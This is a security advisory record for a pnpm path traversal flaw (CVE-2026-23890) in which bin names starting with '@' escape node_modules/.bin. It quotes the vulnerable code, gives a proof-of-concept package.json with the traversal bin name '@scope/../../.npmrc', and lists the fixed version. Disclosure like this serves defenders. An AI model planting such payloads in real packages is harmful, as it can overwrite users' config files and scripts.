{"id":"CVE-2026-23890","aliases":["CVE-2026-23890","GHSA-xpqm-wm3m-f34h"],"related":[],"kind":"vulnerability","state":"published","title":"pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin","summary":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of `node_modules/.bin`. Bin names starting with `@` bypass validation, and after scope normalization, path traversal sequences like `../../` remain intact. This issue affects all pnpm users who install npm packages and CI/CD pipelines using pnpm. It can lead to overwriting config files, scripts, or other sensitive files. Version 10.28.1 contains a patch.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of `node_modules/.bin`. Bin names starting with `@` bypass validation, and after scope normalization, path traversal sequences like `../../` remain intact. This issue affects all pnpm users who install npm packages and CI/CD pipelines using pnpm. It can lead to overwriting config files, scripts, or other sensitive files. Version 10.28.1 contains a patch.","source":"cvelist"},{"lang":"en","text":"### Summary\nA path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of `node_modules/.bin`. Bin names starting with `@` bypass validation, and after scope normalization, path traversal sequences like `../../` remain intact.\n\n### Details\nThe vulnerability exists in the bin name validation and normalization logic:\n\n**1. Validation Bypass (`pkg-manager/package-bins/src/index.ts`)**\n\nThe filter allows any bin name starting with `@` to pass through without validation:\n\n```typescript\n.filter((commandName) =>\n  encodeURIComponent(commandName) === commandName ||\n  commandName === '' ||\n  commandName[0] === '@'  // <-- Bypasses validation\n)\n```\n\n**2. Incomplete Normalization (`pkg-manager/package-bins/src/index.ts`)**\n\n```typescript\nfunction normalizeBinName (name: string): string {\n  return name[0] === '@' ? name.slice(name.indexOf('/') + 1) : name\n}\n// Input:  @scope/../../evil\n// Output: ../../evil  <-- Path traversal preserved!\n```\n\n**3. Exploitation (`pkg-manager/link-bins/src/index.ts:288`)**\n\nThe normalized name is used directly in `path.join()` without validation.\n\n### PoC\n1. Create a malicious package:\n```json\n{\n  \"name\": \"malicious-pkg\",\n  \"version\": \"1.0.0\",\n  \"bin\": {\n    \"@scope/../../.npmrc\": \"./malicious.js\"\n  }\n}\n```\n\n2. Install the package:\n```bash\npnpm add /path/to/malicious-pkg\n```\n\n3. Observe `.npmrc` created in project root (outside node_modules/.bin).\n\n### Impact\n- All pnpm users who install npm packages\n- CI/CD pipelines using pnpm\n- Can overwrite config files, scripts, or other sensitive files\n\nVerified on pnpm main @ commit 5a0ed1d45.","format":"markdown","source":"ghsa"},{"lang":"es","text":"pnpm es un gestor de paquetes. Antes de la versión 10.28.1, una vulnerabilidad de salto de ruta en el enlace de binarios de pnpm permite a paquetes npm maliciosos crear shims ejecutables o enlaces simbólicos fuera de 'node_modules/.bin'. Los nombres de binarios que comienzan con '@' eluden la validación, y después de la normalización del ámbito, secuencias de salto de ruta como '../../' permanecen intactas. Este problema afecta a todos los usuarios de pnpm que instalan paquetes npm y a los pipelines CI/CD que utilizan pnpm. Puede llevar a la sobrescritura de archivos de configuración, scripts u otros archivos sensibles. La versión 10.28.1 contiene un parche.","source":"nvd"}],"published":"2026-01-26T21:02:39.000Z","modified":"2026-06-17T10:22:15.927Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-23"],"affected":[{"ranges":[{"version":"< 10.28.1","status":"affected"}],"vendor":"pnpm","product":"pnpm","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"10.28.1"}],"ecosystem":"npm","package":"pnpm","purl":"pkg:npm/pnpm","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"10.28.1"}],"vendor":"pnpm","product":"pnpm","cpe":"cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-xpqm-wm3m-f34h","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/pnpm/pnpm/commit/8afbb1598445d37985d91fda18abb4795ae5062d","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.1","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23890","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/pnpm/pnpm","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-01-27T21:39:49.236Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-23890","url":"https://www.cve.org/CVERecord?id=CVE-2026-23890","licence":"CVE Terms of Use","modified":"2026-01-27T21:39:57.954Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xpqm-wm3m-f34h","url":"https://github.com/advisories/GHSA-xpqm-wm3m-f34h","licence":"CC-BY-4.0","modified":"2026-02-03T03:06:15.209Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-23890","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23890","licence":"Public domain","modified":"2026-06-17T10:22:15.927Z"}],"updatedAt":"2026-11-25T22:59:13.197Z","epss":{"score":0.00502,"percentile":0.44568,"date":"2026-12-01T12:00:22.000Z"}}